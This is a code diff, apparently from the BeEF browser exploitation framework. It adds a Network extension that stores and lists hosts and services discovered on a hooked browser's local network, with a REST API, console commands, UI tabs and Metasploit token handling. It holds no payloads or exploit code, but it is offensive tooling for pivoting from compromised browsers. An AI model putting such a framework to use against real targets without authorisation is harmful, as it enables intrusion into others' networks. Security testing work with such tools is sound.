panel = %w(ui/panel/common.js ui/panel/DistributedEngine.js ui/panel/PanelStatusBar.js ui/panel/tabs/ZombieTabDetails.js ui/panel/tabs/ZombieTabLogs.js ui/panel/tabs/ZombieTabCommands.js ui/panel/tabs/ZombieTabRider.js ui/panel/tabs/ZombieTabXssRays.js wterm/wterm.jquery.js ui/panel/tabs/ZombieTabIpec.js ui/panel/tabs/ZombieTabAutorun.js ui/panel/PanelViewer.js ui/panel/DataGrid.js ui/panel/MainPanel.js ui/panel/ZombieTab.js ui/panel/ZombieTabs.js ui/panel/zombiesTreeList.js ui/panel/ZombiesMgr.js ui/panel/tabs/ZombieTabNetwork.js ui/panel/Logout.js ui/panel/WelcomeTab.js ui/panel/ModuleSearching.js)
|
||||
|
||||
global_js = esapi + ux + panel
|
||||
|
||||
@@ -86,19 +86,16 @@ module API
|
||||
media_dir = File.dirname(__FILE__)+'/../media/'
|
||||
beef_server.mount("#{bp}/media", Rack::File.new(media_dir))
|
||||
|
||||
|
||||
# mount the favicon file, if we're not imitating a web server.
|
||||
if !config.get("beef.http.web_server_imitation.enable")
|
||||
beef_server.mount('/favicon.ico', Rack::File.new("#{media_dir}#{config.get("beef.extension.admin_ui.favicon_dir")}/#{config.get("beef.extension.admin_ui.favicon_file_name")}"))
|
||||
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind(
|
||||
"/extensions/admin_ui/media#{config.get("beef.extension.admin_ui.favicon_dir")}/#{config.get("beef.extension.admin_ui.favicon_file_name")}",
|
||||
'/favicon.ico', 'ico')
|
||||
end
|
||||
|
||||
self.build_javascript_ui beef_server
|
||||
end
|
||||
|
||||
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -83,13 +83,11 @@ class Modules < BeEF::Extension::AdminUI::HttpController
|
||||
['Browser Components', 'VBScript', 'VBScriptEnabled'],
|
||||
['Browser Components', 'PhoneGap', 'HasPhonegap'],
|
||||
['Browser Components', 'Google Gears', 'HasGoogleGears'],
|
||||
['Browser Components', 'Silverlight', 'HasSilverlight'],
|
||||
['Browser Components', 'Web Sockets', 'HasWebSocket'],
|
||||
['Browser Components', 'QuickTime', 'HasQuickTime'],
|
||||
['Browser Components', 'RealPlayer', 'HasRealPlayer'],
|
||||
['Browser Components', 'Windows Media Player','HasWMP'],
|
||||
['Browser Components', 'VLC', 'HasVLC'],
|
||||
['Browser Components', 'Foxit Reader', 'HasFoxit'],
|
||||
['Browser Components', 'WebRTC', 'HasWebRTC'],
|
||||
['Browser Components', 'ActiveX', 'HasActiveX'],
|
||||
['Browser Components', 'Session Cookies', 'hasSessionCookies'],
|
||||
|
||||
@@ -12,8 +12,8 @@
|
||||
|
||||
<%= script_tag 'ext-base.js' %>
|
||||
<%= script_tag 'ext-all.js' %>
|
||||
<%= script_tag_min 'web_ui_all.js' %>
|
||||
<%= stylesheet_tag 'wterm.css' %>
|
||||
<%= script_tag_min 'web_ui_all.js' %>
|
||||
<%= stylesheet_tag 'wterm.css' %>
|
||||
<%= stylesheet_tag 'ext-all.css' %>
|
||||
<%= stylesheet_tag 'base.css' %>
|
||||
</head>
|
||||
@@ -24,7 +24,7 @@
|
||||
<div class="left-menu" id="header-right">
|
||||
</div>
|
||||
<div class="right-menu">
|
||||
<img src="<%= base_path %>/media/images/favicon.ico" alt="BeEF" title="BeEF" />
|
||||
<img src="<%= base_path %>/media/images/favicon.png" />
|
||||
BeEF <%= BeEF::Core::Configuration.instance.get('beef.version') %> |
|
||||
<a id='do-submit-bug-menu' href='https://github.com/beefproject/beef/issues/new' target='_blank'>Submit Bug</a> |
|
||||
<a id='do-logout-menu' href='#'>Logout</a>
|
||||
|
||||
@@ -89,11 +89,9 @@ module BeEF
|
||||
has_googlegears = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasGoogleGears')
|
||||
has_webrtc = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasWebRTC')
|
||||
has_activex = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasActiveX')
|
||||
has_silverlight = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasSilverlight')
|
||||
has_quicktime = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasQuickTime')
|
||||
has_realplayer = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasRealPlayer')
|
||||
has_wmp = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasWMP')
|
||||
has_foxit = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasFoxit')
|
||||
date_stamp = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'DateStamp')
|
||||
|
||||
return {
|
||||
@@ -113,10 +111,8 @@ module BeEF
|
||||
'has_googlegears' => has_googlegears,
|
||||
'has_webrtc' => has_webrtc,
|
||||
'has_activex' => has_activex,
|
||||
'has_silverlight' => has_silverlight,
|
||||
'has_quicktime' => has_quicktime,
|
||||
'has_wmp' => has_wmp,
|
||||
'has_foxit' => has_foxit,
|
||||
'has_realplayer' => has_realplayer,
|
||||
'date_stamp' => date_stamp
|
||||
}
|
||||
|
||||
@@ -93,6 +93,70 @@
|
||||
padding-top: 3px;
|
||||
}
|
||||
|
||||
/*
|
||||
* Network Panel
|
||||
****************************************/
|
||||
.network-host-ctxMenu-config {
|
||||
background-image: url(../images/icons/tools.png);
|
||||
background-size: 16px 16px;
|
||||
background-repeat: no-repeat;
|
||||
}
|
||||
|
||||
.network-host-ctxMenu-host {
|
||||
background-image: url(../images/icons/pc.png);
|
||||
background-size: 16px 16px;
|
||||
background-repeat: no-repeat;
|
||||
}
|
||||
|
||||
.network-host-ctxMenu-network {
|
||||
background-image: url(../images/icons/network.png);
|
||||
background-size: 16px 16px;
|
||||
background-repeat: no-repeat;
|
||||
}
|
||||
|
||||
.network-host-ctxMenu-web {
|
||||
background-image: url(../images/icons/web.png);
|
||||
background-size: 16px 16px;
|
||||
background-repeat: no-repeat;
|
||||
}
|
||||
|
||||
.network-host-ctxMenu-adapter {
|
||||
background-image: url(../images/icons/adapter.png);
|
||||
background-size: 16px 16px;
|
||||
background-repeat: no-repeat;
|
||||
}
|
||||
|
||||
.network-host-ctxMenu-router {
|
||||
background-image: url(../images/icons/router.png);
|
||||
background-size: 16px 16px;
|
||||
background-repeat: no-repeat;
|
||||
}
|
||||
|
||||
.network-host-ctxMenu-fingerprint {
|
||||
background-image: url(../images/icons/magnifier.png);
|
||||
background-size: 16px 16px;
|
||||
background-repeat: no-repeat;
|
||||
}
|
||||
|
||||
.network-host-ctxMenu-cors {
|
||||
background-image: url(../images/icons/cors.png);
|
||||
background-size: 16px 16px;
|
||||
background-repeat: no-repeat;
|
||||
}
|
||||
|
||||
.network-host-ctxMenu-shellshock {
|
||||
background-image: url(../images/icons/shellshock.png);
|
||||
background-size: 16px 16px;
|
||||
background-repeat: no-repeat;
|
||||
}
|
||||
|
||||
.network-host-ctxMenu-php {
|
||||
background-image: url(../images/icons/php.png);
|
||||
background-size: 16px 16px;
|
||||
background-repeat: no-repeat;
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
* Ext.beef.msg
|
||||
****************************************/
|
||||
|
||||
BIN
extensions/admin_ui/media/images/favicon.png
Normal file
|
After Width: | Height: | Size: 906 B |
BIN
extensions/admin_ui/media/images/icons/adapter.png
Normal file
|
After Width: | Height: | Size: 1.2 KiB |
BIN
extensions/admin_ui/media/images/icons/cors.png
Normal file
|
After Width: | Height: | Size: 1.5 KiB |
BIN
extensions/admin_ui/media/images/icons/magnifier.png
Normal file
|
After Width: | Height: | Size: 1.5 KiB |
BIN
extensions/admin_ui/media/images/icons/network.png
Normal file
|
After Width: | Height: | Size: 45 KiB |
|
Before Width: | Height: | Size: 2.5 KiB After Width: | Height: | Size: 1.8 KiB |
BIN
extensions/admin_ui/media/images/icons/php.png
Normal file
|
After Width: | Height: | Size: 1.2 KiB |
BIN
extensions/admin_ui/media/images/icons/router.png
Normal file
|
After Width: | Height: | Size: 1.0 KiB |
BIN
extensions/admin_ui/media/images/icons/shellshock.png
Normal file
|
After Width: | Height: | Size: 1.8 KiB |
BIN
extensions/admin_ui/media/images/icons/tools.png
Normal file
|
After Width: | Height: | Size: 2.3 KiB |
BIN
extensions/admin_ui/media/images/icons/web.png
Normal file
|
After Width: | Height: | Size: 1.7 KiB |
@@ -35,7 +35,8 @@ WelcomeTab = function() {
|
||||
<li><img alt='' src='media/images/icons/red.png' unselectable='on'> The command module does not work against this target</li></ul><br />\
|
||||
<li><span style='font:bold 11px tahoma,arial,helvetica,sans-serif'>XssRays:</span> The XssRays tab allows the user to check if links, forms and URI path of the page (where the browser is hooked) is vulnerable to XSS.</li> \
|
||||
<li><span style='font:bold 11px tahoma,arial,helvetica,sans-serif'>Rider:</span> The Rider tab allows you to submit arbitrary HTTP requests on behalf of the hooked browser. \
|
||||
Each request sent by the Rider is recorded in the History panel. Click a history item to view the HTTP headers and HTML source of the HTTP response.</li></ul><br />\
|
||||
Each request sent by the Rider is recorded in the History panel. Click a history item to view the HTTP headers and HTML source of the HTTP response.</li> \
|
||||
<li><span style='font:bold 11px tahoma,arial,helvetica,sans-serif'>Network:</span> The Network tab allows you to interact with hosts on the local network(s) of the hooked browser.</li></ul><br /> \
|
||||
<p>You can also right-click a hooked browser to open a context-menu with additional functionality:</p><br /> \
|
||||
<ul style=\"margin-left:15px;\">\
|
||||
<li><span style='font:bold 11px tahoma,arial,helvetica,sans-serif'>Tunneling Proxy:</span> The Proxy allows you to use a hooked browser as a proxy. Simply right-click a browser from the Hooked Browsers tree to the left and select \"Use as Proxy\". \
|
||||
|
||||
@@ -9,27 +9,29 @@ ZombieTab = function(zombie) {
|
||||
log_tab = new ZombieTab_LogTab(zombie);
|
||||
commands_tab = new ZombieTab_Commands(zombie);
|
||||
requester_tab = new ZombieTab_Requester(zombie);
|
||||
xssrays_tab = new ZombieTab_XssRaysTab(zombie);
|
||||
ipec_tab = new ZombieTab_IpecTab(zombie);
|
||||
autorun_tab = new ZombieTab_Autorun(zombie);
|
||||
xssrays_tab = new ZombieTab_XssRaysTab(zombie);
|
||||
ipec_tab = new ZombieTab_IpecTab(zombie);
|
||||
autorun_tab = new ZombieTab_Autorun(zombie);
|
||||
network_tab = new ZombieTab_Network(zombie);
|
||||
|
||||
ZombieTab.superclass.constructor.call(this, {
|
||||
id:"current-browser",
|
||||
id:"current-browser",
|
||||
activeTab: 0,
|
||||
loadMask: {msg:'Loading browser...'},
|
||||
title: "Current Browser",
|
||||
title: "Current Browser",
|
||||
autoScroll: true,
|
||||
closable: false,
|
||||
viewConfig: {
|
||||
forceFit: true,
|
||||
type: 'fit'
|
||||
},
|
||||
items:[main_tab, log_tab, commands_tab, requester_tab, xssrays_tab, ipec_tab, autorun_tab],
|
||||
listeners:{
|
||||
afterrender:function(component){
|
||||
// Hide auto-run tab
|
||||
component.hideTabStripItem(autorun_tab);
|
||||
}
|
||||
}
|
||||
items:[main_tab, log_tab, commands_tab, requester_tab, xssrays_tab, ipec_tab, autorun_tab, network_tab],
|
||||
listeners:{
|
||||
afterrender:function(component){
|
||||
// Hide auto-run tab
|
||||
component.hideTabStripItem(autorun_tab);
|
||||
}
|
||||
}
|
||||
});
|
||||
};
|
||||
|
||||
|
||||
@@ -29,8 +29,6 @@ var ZombiesMgr = function(zombies_tree_lists) {
|
||||
var has_webrtc = zombie_array[index]["has_webrtc"];
|
||||
var has_activex = zombie_array[index]["has_activex"];
|
||||
var has_wmp = zombie_array[index]["has_wmp"];
|
||||
var has_foxit = zombie_array[index]["has_foxit"];
|
||||
var has_silverlight = zombie_array[index]["has_silverlight"];
|
||||
var has_quicktime = zombie_array[index]["has_quicktime"];
|
||||
var has_realplayer = zombie_array[index]["has_realplayer"];
|
||||
var date_stamp = zombie_array[index]["date_stamp"];
|
||||
@@ -49,10 +47,8 @@ var ZombiesMgr = function(zombies_tree_lists) {
|
||||
balloon_text+= "<br/>Web Sockets: " + has_web_sockets;
|
||||
balloon_text+= "<br/>WebRTC: " + has_webrtc;
|
||||
balloon_text+= "<br/>ActiveX: " + has_activex;
|
||||
balloon_text+= "<br/>Silverlight: " + has_silverlight;
|
||||
balloon_text+= "<br/>QuickTime: " + has_quicktime;
|
||||
balloon_text+= "<br/>Windows MediaPlayer: " + has_wmp;
|
||||
balloon_text+= "<br/>Foxit: " + has_foxit;
|
||||
balloon_text+= "<br/>RealPlayer: " + has_realplayer;
|
||||
balloon_text+= "<br/>Google Gears: " + has_googlegears;
|
||||
balloon_text+= "<br/>Date: " + date_stamp;
|
||||
|
||||
@@ -30,7 +30,9 @@ class Target
|
||||
{
|
||||
"commands" => "List available commands against this particular target",
|
||||
"info" => "Info about the target",
|
||||
"select" => "Prepare the command module for execution against this target"
|
||||
"select" => "Prepare the command module for execution against this target",
|
||||
"hosts" => "List identified network hosts",
|
||||
"services" => "List identified network services"
|
||||
}
|
||||
end
|
||||
|
||||
@@ -145,7 +147,84 @@ class Target
|
||||
def cmd_info_help(*args)
|
||||
print_status("Display initialisation information about the hooked browser.")
|
||||
end
|
||||
|
||||
|
||||
def cmd_hosts(*args)
|
||||
|
||||
@@bare_opts.parse(args) {|opt, idx, val|
|
||||
case opt
|
||||
when "-h"
|
||||
cmd_hosts_help
|
||||
return false
|
||||
end
|
||||
}
|
||||
|
||||
configuration = BeEF::Core::Configuration.instance
|
||||
if !configuration.get("beef.extension.network.enable")
|
||||
print_error("Network extension is disabled")
|
||||
return
|
||||
end
|
||||
|
||||
tbl = Rex::Ui::Text::Table.new(
|
||||
'Columns' =>
|
||||
[
|
||||
'IP',
|
||||
'Hostname',
|
||||
'Type',
|
||||
'Operating System',
|
||||
'MAC Address'
|
||||
])
|
||||
|
||||
driver.interface.select_network_hosts['results'].each do |x|
|
||||
tbl << [x['ip'],x['hostname'],x['type'],x['os'],x['mac']]
|
||||
end
|
||||
|
||||
puts "\nNetwork Hosts:\n\n"
|
||||
puts tbl.to_s + "\n"
|
||||
|
||||
end
|
||||
|
||||
def cmd_hosts_help(*args)
|
||||
print_status("Display information about network hosts on the hooked browser's network.")
|
||||
end
|
||||
|
||||
def cmd_services(*args)
|
||||
|
||||
@@bare_opts.parse(args) {|opt, idx, val|
|
||||
case opt
|
||||
when "-h"
|
||||
cmd_services_help
|
||||
return false
|
||||
end
|
||||
}
|
||||
|
||||
configuration = BeEF::Core::Configuration.instance
|
||||
if !configuration.get("beef.extension.network.enable")
|
||||
print_error("Network extension is disabled")
|
||||
return
|
||||
end
|
||||
|
||||
tbl = Rex::Ui::Text::Table.new(
|
||||
'Columns' =>
|
||||
[
|
||||
'IP',
|
||||
'Port',
|
||||
'Protocol',
|
||||
'Type'
|
||||
])
|
||||
|
||||
driver.interface.select_network_services['results'].each do |x|
|
||||
tbl << [x['ip'],x['port'],x['proto'],x['type']]
|
||||
end
|
||||
|
||||
puts "\nNetwork Services:\n\n"
|
||||
puts tbl.to_s + "\n"
|
||||
|
||||
end
|
||||
|
||||
def cmd_services_help(*args)
|
||||
print_status("Display information about network services on the hooked browser's network.")
|
||||
end
|
||||
|
||||
def cmd_select(*args)
|
||||
@@bare_opts.parse(args) {|opt, idx, val|
|
||||
case opt
|
||||
|
||||
@@ -296,13 +296,11 @@ class ShellInterface
|
||||
['Browser Components', 'VBScript', 'VBScriptEnabled'],
|
||||
['Browser Components', 'PhoneGap', 'HasPhonegap'],
|
||||
['Browser Components', 'Google Gears', 'HasGoogleGears'],
|
||||
['Browser Components', 'Silverlight', 'HasSilverlight'],
|
||||
['Browser Components', 'Web Sockets', 'HasWebSocket'],
|
||||
['Browser Components', 'QuickTime', 'HasQuickTime'],
|
||||
['Browser Components', 'RealPlayer', 'HasRealPlayer'],
|
||||
['Browser Components', 'Windows Media Player','HasWMP'],
|
||||
['Browser Components', 'VLC', 'HasVLC'],
|
||||
['Browser Components', 'Foxit', 'HasFoxit'],
|
||||
['Browser Components', 'WebRTC', 'HasWebRTC'],
|
||||
['Browser Components', 'ActiveX', 'HasActiveX'],
|
||||
['Browser Components', 'Session Cookies', 'hasSessionCookies'],
|
||||
@@ -363,6 +361,79 @@ class ShellInterface
|
||||
summary_grid_hash
|
||||
end
|
||||
|
||||
def select_network_hosts
|
||||
|
||||
return if self.targetsession.nil?
|
||||
|
||||
configuration = BeEF::Core::Configuration.instance
|
||||
if !configuration.get("beef.extension.network.enable")
|
||||
print_error("Network extension is disabled")
|
||||
return {
|
||||
'success' => 'false',
|
||||
'results' => []
|
||||
}
|
||||
end
|
||||
|
||||
# init the summary grid
|
||||
summary_grid_hash = {
|
||||
'success' => 'true',
|
||||
'results' => []
|
||||
}
|
||||
@nh = BeEF::Core::Models::NetworkHost
|
||||
hosts = @nh.all(:hooked_browser_id => self.targetsession)
|
||||
|
||||
# add property to summary hash
|
||||
if not hosts.empty?
|
||||
hosts.each do |x|
|
||||
summary_grid_hash['results'].push({
|
||||
'ip' => x['ip'].to_s,
|
||||
'hostname' => x['hostname'].to_s,
|
||||
'type' => x['type'].to_s,
|
||||
'os' => x['os'].to_s,
|
||||
'mac' => x['mac'].to_s
|
||||
})
|
||||
end
|
||||
end
|
||||
|
||||
summary_grid_hash
|
||||
end
|
||||
|
||||
def select_network_services
|
||||
|
||||
return if self.targetsession.nil?
|
||||
|
||||
configuration = BeEF::Core::Configuration.instance
|
||||
if !configuration.get("beef.extension.network.enable")
|
||||
print_error("Network extension is disabled")
|
||||
return {
|
||||
'success' => 'false',
|
||||
'results' => []
|
||||
}
|
||||
end
|
||||
|
||||
# init the summary grid
|
||||
summary_grid_hash = {
|
||||
'success' => 'true',
|
||||
'results' => []
|
||||
}
|
||||
@ns = BeEF::Core::Models::NetworkService
|
||||
services = @ns.all(:hooked_browser_id => self.targetsession)
|
||||
|
||||
# add property to summary hash
|
||||
if not services.empty?
|
||||
services.each do |x|
|
||||
summary_grid_hash['results'].push({
|
||||
'proto' => x['proto'].to_s,
|
||||
'ip' => x['ip'].to_s,
|
||||
'port' => x['port'].to_s,
|
||||
'type' => x['type'].to_s
|
||||
})
|
||||
end
|
||||
end
|
||||
|
||||
summary_grid_hash
|
||||
end
|
||||
|
||||
attr_reader :targetsession
|
||||
attr_reader :targetid
|
||||
attr_reader :targetip
|
||||
|
||||
@@ -15,6 +15,9 @@ module Demos
|
||||
# mount everything in html directory to /demos/
|
||||
path = File.dirname(__FILE__)+'/html/'
|
||||
files = Dir[path+'**/*']
|
||||
|
||||
beef_server.mount('/demos', Rack::File.new(path))
|
||||
|
||||
files.each do |f|
|
||||
# don't follow symlinks
|
||||
next if File.symlink?(f)
|
||||
@@ -22,8 +25,6 @@ module Demos
|
||||
if File.extname(f) == '.html'
|
||||
# use handler to mount HTML templates
|
||||
beef_server.mount(mount_path, BeEF::Extension::Demos::Handler.new(f))
|
||||
else
|
||||
beef_server.mount(mount_path, Rack::File.new(f))
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -21,7 +21,6 @@ module Metasploit
|
||||
BeEF::Core::Configuration.instance.set('beef.extension.metasploit.loaded', false)
|
||||
return nil
|
||||
end
|
||||
|
||||
@lock = false
|
||||
@lastauth = nil
|
||||
@unit_test = false
|
||||
@@ -116,25 +115,41 @@ module Metasploit
|
||||
def unit_test_init
|
||||
@unit_test = true
|
||||
end
|
||||
# login into metasploit
|
||||
# login to metasploit
|
||||
def login
|
||||
get_lock()
|
||||
|
||||
res = super(@config['user'] , @config['pass'])
|
||||
|
||||
if not res
|
||||
release_lock()
|
||||
print_error 'Could not authenticate to Metasploit xmlrpc.'
|
||||
print_error 'Could not authenticate to Metasploit MSGRPC.'
|
||||
return false
|
||||
end
|
||||
|
||||
print_info 'Successful connection with Metasploit.' if (!@lastauth && !@unit_test)
|
||||
|
||||
if (!@lastauth)
|
||||
print_info 'Successful connection with Metasploit.' if (!@unit_test)
|
||||
print_debug "Metasploit: Received temporary token: #{self.token}"
|
||||
# Generate permanent token
|
||||
new_token = token_generate
|
||||
if new_token.nil?
|
||||
print_warning "Metasploit: Could not retrieve permanent Metasploit token. Connection to Metasploit will time out in 5 minutes."
|
||||
else
|
||||
self.token = new_token
|
||||
print_debug "Metasploit: Received permanent token: #{self.token}"
|
||||
end
|
||||
end
|
||||
@lastauth = Time.now
|
||||
|
||||
release_lock()
|
||||
true
|
||||
end
|
||||
|
||||
|
||||
# generate a permanent auth token
|
||||
def token_generate
|
||||
res = self.call('auth.token_generate')
|
||||
return if not res or not res['token']
|
||||
res['token']
|
||||
end
|
||||
|
||||
def browser_exploits()
|
||||
|
||||
get_lock()
|
||||
|
||||
24
extensions/network/api.rb
Normal file
@@ -0,0 +1,24 @@
|
||||
#
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
module Network
|
||||
|
||||
module RegisterHttpHandler
|
||||
|
||||
BeEF::API::Registrar.instance.register(BeEF::Extension::Network::RegisterHttpHandler, BeEF::API::Server, 'mount_handler')
|
||||
|
||||
# Mounts the handler for processing network host info.
|
||||
#
|
||||
# @param beef_server [BeEF::Core::Server] HTTP server instance
|
||||
def self.mount_handler(beef_server)
|
||||
beef_server.mount('/api/network', BeEF::Extension::Network::NetworkRest.new)
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
12
extensions/network/config.yaml
Normal file
@@ -0,0 +1,12 @@
|
||||
#
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
beef:
|
||||
extension:
|
||||
network:
|
||||
name: 'Network'
|
||||
enable: true
|
||||
authors: ["bcoles"]
|
||||
description: "This extension facilitates interaction with hosts on a zombie browser's local area network(s). It provides a point and click interface for performing a variety of actions including host discovery, fingerprinting and exploitation. Identified network hosts are available in the Network -> Hosts panel. Identified network services are available in the Network -> Services panel. Right-click a host or service for more options."
|
||||
25
extensions/network/extension.rb
Normal file
@@ -0,0 +1,25 @@
|
||||
#
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
module Network
|
||||
|
||||
extend BeEF::API::Extension
|
||||
|
||||
@short_name = 'network'
|
||||
@full_name = 'Network'
|
||||
@description = "This extension provides a simple interface for interacting with hosts on a zombie browser's local area networks."
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
require 'extensions/network/models/network_host'
|
||||
require 'extensions/network/models/network_service'
|
||||
require 'extensions/network/api'
|
||||
require 'extensions/network/rest/network'
|
||||
require 'dm-serializer'
|
||||
|
||||
68
extensions/network/models/network_host.rb
Normal file
@@ -0,0 +1,68 @@
|
||||
#
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Core
|
||||
module Models
|
||||
#
|
||||
# Table stores each host identified on the zombie browser's network(s)
|
||||
#
|
||||
class NetworkHost
|
||||
|
||||
include DataMapper::Resource
|
||||
storage_names[:default] = 'network_host'
|
||||
|
||||
property :id, Serial
|
||||
|
||||
property :hooked_browser_id, Text, :lazy => false
|
||||
property :ip, Text, :lazy => false
|
||||
property :hostname, String, :lazy => false
|
||||
property :type, String, :lazy => false # proxy, router, gateway, dns, etc
|
||||
property :os, String, :lazy => false
|
||||
property :mac, String, :lazy => false
|
||||
property :cid, String, :lazy => false # command id or 'init'
|
||||
|
||||
#
|
||||
# Stores a network host in the data store
|
||||
#
|
||||
def self.add(host={})
|
||||
(print_error "Invalid hooked browser session"; return) unless BeEF::Filters.is_valid_hook_session_id?(host[:hooked_browser_id])
|
||||
(print_error "Invalid IP address"; return) unless BeEF::Filters.is_valid_ip?(host[:ip])
|
||||
|
||||
# prevent duplicates
|
||||
return unless BeEF::Core::Models::NetworkHost.all(
|
||||
:hooked_browser_id => host[:hooked_browser_id],
|
||||
:ip => host[:ip],
|
||||
:hostname => host[:hostname],
|
||||
:type => host[:type],
|
||||
:os => host[:os],
|
||||
:mac => host[:mac]).empty?
|
||||
|
||||
if host[:hostname].nil? && host[:type].nil? && host[:os].nil? && host[:mac].nil?
|
||||
return unless BeEF::Core::Models::NetworkHost.all(
|
||||
:hooked_browser_id => host[:hooked_browser_id],
|
||||
:ip => host[:ip]).empty?
|
||||
end
|
||||
|
||||
# store the returned network host details
|
||||
network_host = BeEF::Core::Models::NetworkHost.new(
|
||||
:hooked_browser_id => host[:hooked_browser_id],
|
||||
:ip => host[:ip],
|
||||
:hostname => host[:hostname],
|
||||
:type => host[:type],
|
||||
:os => host[:os],
|
||||
:mac => host[:mac],
|
||||
:cid => host[:cid])
|
||||
result = network_host.save
|
||||
(print_error "Failed to save network host"; return) if result.nil?
|
||||
|
||||
network_host
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
66
extensions/network/models/network_service.rb
Normal file
@@ -0,0 +1,66 @@
|
||||
#
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Core
|
||||
module Models
|
||||
#
|
||||
# Table stores each open port identified on the zombie browser's network(s)
|
||||
#
|
||||
class NetworkService
|
||||
|
||||
include DataMapper::Resource
|
||||
storage_names[:default] = 'network_service'
|
||||
|
||||
property :id, Serial
|
||||
|
||||
property :hooked_browser_id, Text, :lazy => false
|
||||
property :proto, String, :lazy => false
|
||||
property :ip, Text, :lazy => false
|
||||
property :port, String, :lazy => false
|
||||
property :type, String, :lazy => false
|
||||
property :cid, String, :lazy => false # command id or 'init'
|
||||
|
||||
#
|
||||
# Stores a network service in the data store
|
||||
#
|
||||
def self.add(service={})
|
||||
(print_error "Invalid hooked browser session"; return) if not BeEF::Filters.is_valid_hook_session_id?(service[:hooked_browser_id])
|
||||
(print_error "Invalid IP address"; return) if not BeEF::Filters.is_valid_ip?(service[:ip])
|
||||
(print_error "Invalid port"; return) if not BeEF::Filters.is_valid_port?(service[:port])
|
||||
|
||||
# store the returned network host details
|
||||
BeEF::Core::Models::NetworkHost.add(
|
||||
:hooked_browser_id => service[:hooked_browser_id],
|
||||
:ip => service[:ip],
|
||||
:cid => service[:cid])
|
||||
|
||||
# prevent duplicates
|
||||
return unless BeEF::Core::Models::NetworkService.all(
|
||||
:hooked_browser_id => service[:hooked_browser_id],
|
||||
:proto => service[:proto],
|
||||
:ip => service[:ip],
|
||||
:port => service[:port],
|
||||
:type => service[:type]).empty?
|
||||
|
||||
# store the returned network service details
|
||||
network_service = BeEF::Core::Models::NetworkService.new(
|
||||
:hooked_browser_id => service[:hooked_browser_id],
|
||||
:proto => service[:proto],
|
||||
:ip => service[:ip],
|
||||
:port => service[:port],
|
||||
:type => service[:type],
|
||||
:cid => service[:cid])
|
||||
result = network_service.save
|
||||
(print_error "Failed to save network service"; return) if result.nil?
|
||||
|
||||
network_service
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
169
extensions/network/rest/network.rb
Normal file
@@ -0,0 +1,169 @@
|
||||
#
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
module Network
|
||||
|
||||
# This class handles the routing of RESTful API requests that interact with network services on the zombie's LAN
|
||||
class NetworkRest < BeEF::Core::Router::Router
|
||||
|
||||
# Filters out bad requests before performing any routing
|
||||
before do
|
||||
config = BeEF::Core::Configuration.instance
|
||||
@nh = BeEF::Core::Models::NetworkHost
|
||||
@ns = BeEF::Core::Models::NetworkService
|
||||
|
||||
# Require a valid API token from a valid IP address
|
||||
halt 401 unless params[:token] == config.get('beef.api_token')
|
||||
halt 403 unless BeEF::Core::Rest.permitted_source?(request.ip)
|
||||
|
||||
headers 'Content-Type' => 'application/json; charset=UTF-8',
|
||||
'Pragma' => 'no-cache',
|
||||
'Cache-Control' => 'no-cache',
|
||||
'Expires' => '0'
|
||||
end
|
||||
|
||||
# Returns the entire list of network hosts for all zombies
|
||||
get '/hosts' do
|
||||
begin
|
||||
hosts = @nh.all(:unique => true, :order => [:id.asc])
|
||||
count = hosts.length
|
||||
|
||||
result = {}
|
||||
result[:count] = count
|
||||
result[:hosts] = hosts.to_json
|
||||
result.to_json
|
||||
rescue StandardError => e
|
||||
print_error "Internal error while retrieving host list (#{e.message})"
|
||||
halt 500
|
||||
end
|
||||
end
|
||||
|
||||
# Returns the entire list of network services for all zombies
|
||||
get '/services' do
|
||||
begin
|
||||
services = @ns.all(:unique => true, :order => [:id.asc])
|
||||
count = services.length
|
||||
|
||||
result = {}
|
||||
result[:count] = count
|
||||
result[:services] = services.to_json
|
||||
result.to_json
|
||||
rescue StandardError => e
|
||||
print_error "Internal error while retrieving service list (#{e.message})"
|
||||
halt 500
|
||||
end
|
||||
end
|
||||
|
||||
# Returns all hosts given a specific hooked browser id
|
||||
get '/hosts/:id' do
|
||||
begin
|
||||
id = params[:id]
|
||||
|
||||
